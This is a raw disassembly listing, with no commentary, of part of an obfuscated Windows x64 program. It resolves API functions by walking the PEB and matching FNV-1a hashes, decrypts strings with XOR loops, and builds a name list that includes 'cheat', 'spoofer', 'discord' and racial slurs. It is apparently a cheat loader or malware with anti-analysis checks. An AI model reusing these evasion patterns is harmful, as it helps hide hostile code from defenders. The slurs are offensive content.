add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x1400060e0
cmp r8d, 0x22
jge 0x140006213
movsxd rax, r8d
lea r9, [rbp + 0x1be8]
add r9, rax
mov eax, 0xe070381d
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x49
movzx eax, r8b
sub al, cl
add al, 0x57
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x22
jl 0x1400061e0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov esi, dword [rcx + r10 + 0x88]
add rsi, r10
cmp rsi, r10
je 0x1400062a6
mov r9d, dword [rsi + 0x18]
test r9d, r9d
je 0x1400062a6
mov ebx, dword [rsi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x555573df
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400062a1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140006280
cmp r8d, 0xfb82315f
je 0x1400062ab
test r9d, r9d
jne 0x140006260
mov rax, qword [rax]
jmp 0x140006230
mov ecx, dword [rsi + 0x1c]
add rcx, r10
mov eax, dword [rsi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
call fcn.140001720
test al, al
jne 0x1400062f6
nop
mov qword [rbp + 0x38], 1
lea rdx, [rbp + 0x38]
lea rcx, [rbp + 0x30]
call fcn.1400187c0
mov rcx, rax
call fcn.140018ce0
call fcn.140001720
test al, al
je 0x1400062d0
movups xmm0, xmmword [0x14001b8f8]
movups xmmword [rbp + 0x10f0], xmm0
movzx eax, byte [0x14001b908]
mov byte [rbp + 0x1100], al
lea rdx, str.pornhub
lea rcx, [rbp + 0x13e8]
call fcn.1400180f0
nop
lea rdx, str.cheat
lea rcx, [rbp + 0x1388]
call fcn.1400180f0
nop
lea rdx, str.spoofer
lea rcx, [rbp + 0x12e8]
call fcn.1400180f0
nop
lea rdx, str.nigger
lea rcx, [rbp + 0x1ae8]
call fcn.1400180f0
nop
lea rdx, str.jeremy
lea rcx, [rbp + 0x1a28]
call fcn.1400180f0
nop
lea rdx, str.kepler
lea rcx, [rbp + 0x1a48]
call fcn.1400180f0
nop
lea rdx, [0x14001b688]
lea rcx, [rbp + 0x1b08]
call fcn.1400180f0
nop
lea rdx, str.discord
lea rcx, [rbp + 0x1b28]
call fcn.1400180f0
nop
lea rdx, str.niga
lea rcx, [rbp + 0x1ba8]
call fcn.1400180f0
nop
lea rdx, str.fucker
lea rcx, [rbp + 0x1228]
call fcn.1400180f0
nop
lea rdx, str.keyword
lea rcx, [rbp + 0x1288]
call fcn.1400180f0
nop
lea rdx, str.l1nky
lea rcx, [rbp + 0x12a8]
call fcn.1400180f0
nop
lea rdx, str.enigma
lea rcx, [rbp + 0x12c8]
call fcn.1400180f0
nop
movups xmm0, xmmword [str.____frq]
movups xmmword [rbp + 0x1f70], xmm0
movups xmm1, xmmword [0x14001b750]
movups xmmword [rbp + 0x1f80], xmm1
movups xmm0, xmmword [0x14001b760]
movups xmmword [rbp + 0x1f90], xmm0
movups xmm1, xmmword [0x14001b770]
movups xmmword [rbp + 0x1fa0], xmm1
movups xmm0, xmmword [0x14001b780]
movups xmmword [rbp + 0x1fb0], xmm0
movups xmm1, xmmword [str.___asrooTOPVPKTSGYC_v_a]
movups xmmword [rbp + 0x1c10], xmm1
movups xmm0, xmmword [0x14001bb88]
movups xmmword [rbp + 0x1c20], xmm0
mov eax, dword [0x14001bb98]
mov dword [rbp + 0x1c30], eax
movzx eax, byte [0x14001bb9c]
mov byte [rbp + 0x1c34], al
movups xmm0, xmmword [0x14001b950]
movups xmmword [rbp + 0x2020], xmm0
movups xmm1, xmmword [0x14001b960]
movups xmmword [rbp + 0x2030], xmm1
movups xmm0, xmmword [0x14001b970]
movups xmmword [rbp + 0x2040], xmm0
movups xmm1, xmmword [0x14001b980]
movups xmmword [rbp + 0x2050], xmm1
movups xmm0, xmmword [0x14001b990]
movups xmmword [rbp + 0x2060], xmm0
movzx eax, word [0x14001b9a0]
mov word [rbp + 0x2070], ax
movzx eax, byte [0x14001b9a2]
mov byte [rbp + 0x2072], al
movups xmm0, xmmword [0x14001b9b0]
movups xmmword [rbp + 0x2140], xmm0
movups xmm1, xmmword [0x14001b9c0]
movups xmmword [rbp + 0x2150], xmm1
movups xmm0, xmmword [0x14001b9d0]
movups xmmword [rbp + 0x2160], xmm0
movups xmm1, xmmword [0x14001b9e0]
movups xmmword [rbp + 0x2170], xmm1
movups xmm0, xmmword [0x14001b9f0]
movups xmmword [rbp + 0x2180], xmm0
movsd xmm0, qword [0x14001ba00]
movsd qword [rbp + 0x2190], xmm0
movups xmm1, xmmword [0x14001ba10]
movups xmmword [rbp + 0x21a0], xmm1
movups xmm0, xmmword [0x14001ba20]
movups xmmword [rbp + 0x21b0], xmm0
movups xmm1, xmmword [0x14001ba30]
movups xmmword [rbp + 0x21c0], xmm1
movups xmm0, xmmword [0x14001ba40]
movups xmmword [rbp + 0x21d0], xmm0
movups xmm1, xmmword [0x14001ba50]
movups xmmword [rbp + 0x21e0], xmm1
movsd xmm0, qword [0x14001ba60]
movsd qword [rbp + 0x21f0], xmm0
movzx eax, word [0x14001ba68]
mov word [rbp + 0x21f8], ax
movups xmm0, xmmword [str.___asr__r]
movups xmmword [rbp + 0x1fc0], xmm0
movups xmm1, xmmword [0x14001bae0]
movups xmmword [rbp + 0x1fd0], xmm1
movups xmm0, xmmword [0x14001baf0]
movups xmmword [rbp + 0x1fe0], xmm0
movups xmm1, xmmword [0x14001bb00]
movups xmmword [rbp + 0x1ff0], xmm1
movups xmm0, xmmword [0x14001bb10]
movups xmmword [rbp + 0x2000], xmm0
movzx eax, byte [0x14001bb20]
mov byte [rbp + 0x2010], al
movups xmm0, xmmword [0x14001ba70]
movups xmmword [rbp + 0x1f20], xmm0
movups xmm1, xmmword [0x14001ba80]
movups xmmword [rbp + 0x1f30], xmm1
movups xmm0, xmmword [0x14001ba90]
movups xmmword [rbp + 0x1f40], xmm0
movups xmm1, xmmword [0x14001baa0]
movups xmmword [rbp + 0x1f50], xmm1
movsd xmm0, qword [0x14001bab0]
movsd qword [rbp + 0x1f60], xmm0
mov eax, dword [0x14001bab8]
mov dword [rbp + 0x1f68], eax
movzx eax, word [0x14001babc]
mov word [rbp + 0x1f6c], ax
movzx eax, byte [0x14001babe]
mov byte [rbp + 0x1f6e], al
cmp byte [rbp + 0x1100], 0
je 0x140006893
mov r8d, edi
cmp r13d, 2
jl 0x140006848
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm7
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd eax, xmm10
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x10f0]
xorps xmm2, xmm1
movd dword [rbp + 0x10f0], xmm2
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm6
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x10f4]
xorps xmm2, xmm1
movd dword [rbp + 0x10f4], xmm2
movdqa xmm1, xmm12
punpckldq xmm1, xmm12
pmuldq xmm1, xmm6
movdqa xmm0, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm12
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x10f8]
xorps xmm2, xmm1
movd dword [rbp + 0x10f8], xmm2
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
pmuldq xmm1, xmm6
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm13
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm13
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x10fc]
xorps xmm2, xmm1
movd dword [rbp + 0x10fc], xmm2
mov r8d, 0x10
mov eax, r8d
lea r9, [rbp + 0x10f0]
add r9, rax
nop word [rax + rax]
mov eax, 0xe070381d
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x49
movzx eax, r8b
sub al, cl
add al, 0x57
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x11
jl 0x140006860
lea rdx, [rbp + 0x10f0]
lea rcx, [rbp + 0x8f0]
call fcn.1400180f0
mov rcx, rax
call fcn.140001b10
test al, al
je 0x140006fe3
cmp byte [rbp + 0x1100], 0
jne 0x140006ad3
mov r8d, edi
cmp r13d, 2
jl 0x140006a91
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm7
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd eax, xmm10
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x10f0]
xorps xmm2, xmm1
movd dword [rbp + 0x10f0], xmm2
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm6
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x10f4]
xorps xmm2, xmm1
movd dword [rbp + 0x10f4], xmm2
movdqa xmm1, xmm12
punpckldq xmm1, xmm12
pmuldq xmm1, xmm6
movdqa xmm0, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm12
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x10f8]
xorps xmm2, xmm1
movd dword [rbp + 0x10f8], xmm2
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
pmuldq xmm1, xmm6
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm13
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm13
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x10fc]
xorps xmm2, xmm1
movd dword [rbp + 0x10fc], xmm2
mov r8d, 0x10
mov eax, r8d
lea r9, [rbp + 0x10f0]
add r9, rax
nop
mov eax, 0xe070381d
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x49
movzx eax, r8b
sub al, cl
add al, 0x57
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x11
jl 0x140006aa0
lea rdx, [rbp + 0x1ea8]
lea rcx, [rsp + 0x7b]
call fcn.1400023e0
cmp byte [rbp + 0x1ed8], 0
jne 0x140006c60
mov r8d, edi
cmp r13d, 2
jl 0x140006c13
movdqa xmmword [rbp + 0xe0], xmm10
lea rcx, [rbp + 0x1eac]
mov edx, dword [rbp + 0xe0]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x30
jl 0x140006b20
cmp r8d, 0x31
jge 0x140006c53
movsxd rax, r8d
lea r9, [rbp + 0x1ea8]
add r9, rax
mov eax, 0xe070381d
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x49
movzx eax, r8b
sub al, cl
add al, 0x57
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x31
jl 0x140006c20
cmp byte [rbp + 0x1ed8], 0
je 0x140006dc3
mov r8d, edi
cmp r13d, 2
jl 0x140006d83
movdqa xmmword [rbp + 0xe0], xmm10
lea rcx, [rbp + 0x1eac]
mov edx, dword [rbp + 0xe0]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x30
jl 0x140006c90
cmp r8d, 0x31
jge 0x140006dc3
movsxd rax, r8d
lea r9, [rbp + 0x1ea8]
add r9, rax
mov eax, 0xe070381d
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x49
movzx eax, r8b
sub al, cl
add al, 0x57
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x31
jl 0x140006d90
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov esi, dword [rcx + r10 + 0x88]
add rsi, r10
cmp rsi, r10
je 0x140006e56
mov r9d, dword [rsi + 0x18]
test r9d, r9d
je 0x140006e56
mov ebx, dword [rsi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x81b5a612
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140006e51
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140006e30
cmp r8d, 0xb3b85b3b
je 0x140006e5b
test r9d, r9d
jne 0x140006e10
mov rax, qword [rax]
jmp 0x140006de0
mov ecx, dword [rsi + 0x1c]
add rcx, r10
mov eax, dword [rsi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
lea rcx, [rbp + 0x1ea8]
call rdx
cmp byte [rbp + 0x1ed8], 0
jne 0x140006fe3
mov r8d, edi
cmp r13d, 2
jl 0x140006fa3
movdqa xmmword [rbp + 0xe0], xmm10
lea rcx, [rbp + 0x1eac]
mov edx, dword [rbp + 0xe0]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x30
jl 0x140006eb0
cmp r8d, 0x31
jge 0x140006fe3
movsxd rax, r8d
lea r9, [rbp + 0x1ea8]
add r9, rax
mov eax, 0xe070381d
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x49
movzx eax, r8b
sub al, cl
add al, 0x57
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x31
jl 0x140006fb0
cmp byte [rbp + 0x1100], 0
jne 0x140007203
mov r8d, edi
cmp r13d, 2
jl 0x1400071be
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm7
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd eax, xmm10
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x10f0]
xorps xmm2, xmm1
movd dword [rbp + 0x10f0], xmm2
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm6
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x10f4]
xorps xmm2, xmm1
movd dword [rbp + 0x10f4], xmm2
movdqa xmm1, xmm12
punpckldq xmm1, xmm12
pmuldq xmm1, xmm6
movdqa xmm0, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm12
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x10f8]
xorps xmm2, xmm1
movd dword [rbp + 0x10f8], xmm2
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
pmuldq xmm1, xmm6
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm13
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm13
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x10fc]
xorps xmm2, xmm1
movd dword [rbp + 0x10fc], xmm2
mov r8d, 0x10
mov eax, r8d
lea r9, [rbp + 0x10f0]
add r9, rax
nop dword [rax + rax]
mov eax, 0xe070381d
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x49
movzx eax, r8b
sub al, cl
add al, 0x57
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x11
jl 0x1400071d0
cmp byte [rbp + 0x21f9], 0
je 0x140007373
mov r8d, edi
cmp r13d, 2
jl 0x140007333
movdqa xmmword [rbp + 0xe0], xmm10
lea rcx, [rbp + 0x21a4]
mov edx, dword [rbp + 0xe0]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x58
jl 0x140007240
cmp r8d, 0x5a
jge 0x140007373
movsxd rax, r8d
lea r9, [rbp + 0x21a0]
add r9, rax
mov eax, 0xe070381d
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x49
movzx eax, r8b
sub al, cl
add al, 0x57
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x5a
jl 0x140007340
lea rdx, [rbp + 0x21a0]
lea rcx, [rbp + 0x8d0]
call fcn.1400180f0
mov r12, rax
mov qword [rsp + 0x58], rax
mov ecx, dword [0x14001ba08]
mov dword [rbp + 0xf20], ecx
movzx ecx, byte [0x14001ba0c]
mov byte [rbp + 0xf24], cl
test cl, cl
jne 0x1400073ce
xor byte [rbp + 0xf20], 0x57
xor byte [rbp + 0xf21], 0x58
xor byte [rbp + 0xf22], 0x59
xor byte [rbp + 0xf23], 0x5a
mov byte [rbp + 0xf24], 0x5b
mov eax, dword [0x14001bbd8]
mov dword [rbp + 0xf18], eax
movzx eax, byte [0x14001bbdc]
mov byte [rbp + 0xf1c], al
test al, al
jne 0x14000740e
xor byte [rbp + 0xf18], 0x57
xor byte [rbp + 0xf19], 0x58
xor byte [rbp + 0xf1a], 0x59
xor byte [rbp + 0xf1b], 0x5a
mov byte [rbp + 0xf1c], 0x5b
movzx eax, word [0x14001b8f4]
mov word [rbp + 0xe7c], ax
cmp byte [0x14001b8f5], 0
jne 0x140007434
xor al, 0x57
mov byte [rbp + 0xe7c], al
xor byte [rbp + 0xe7d], 0x58
movzx eax, word [0x14001bba0]
mov word [rbp + 0xe78], ax
cmp byte [0x14001bba1], 0
jne 0x14000745a
xor al, 0x57
mov byte [rbp + 0xe78], al
xor byte [rbp + 0xe79], 0x58
lea rcx, [rbp + 0x13a8]
call fcn.140018250
nop
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov dword [rbp + 0x4b24], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x37a0]
call fcn.140018270
mov dword [rbp + 0x1010], 0x423a35c7
mov dword [rbp + 0x1014], 0x540be3ff
mov r9d, 0x540be3ff
mov r8d, 0x423a35c7
lea rdx, [rbp + 0x37a0]
lea rcx, [rbp + 0x1010]
call fcn.140018e40
mov edx, eax
lea rcx, [rbp + 0x8b0]
call fcn.1400182b0
nop
mov rbx, qword [rbp + 0x8c0]
lea rcx, [rbp + 0x8b0]
call fcn.140017db0
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x13a8]
call fcn.140017f70
nop
lea rcx, [rbp + 0x8b0]
call fcn.140018090
movzx eax, byte [rbp + 0xe7d]
test al, al
je 0x140007519
xor byte [rbp + 0xe7c], 0x57
xor al, 0x58
mov byte [rbp + 0xe7d], al
lea rax, [rbp + 0xe7c]
mov r8, r15
inc r8
cmp byte [rax + r8], 0
jne 0x140007523
lea rdx, [rbp + 0xe7c]
lea rcx, [rbp + 0x13a8]
call fcn.140017f70
cmp byte [rbp + 0xe7d], 0
jne 0x140007557
xor byte [rbp + 0xe7c], 0x57
mov byte [rbp + 0xe7d], 0x58
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov dword [rbp + 0x5eb4], 0xffffffff
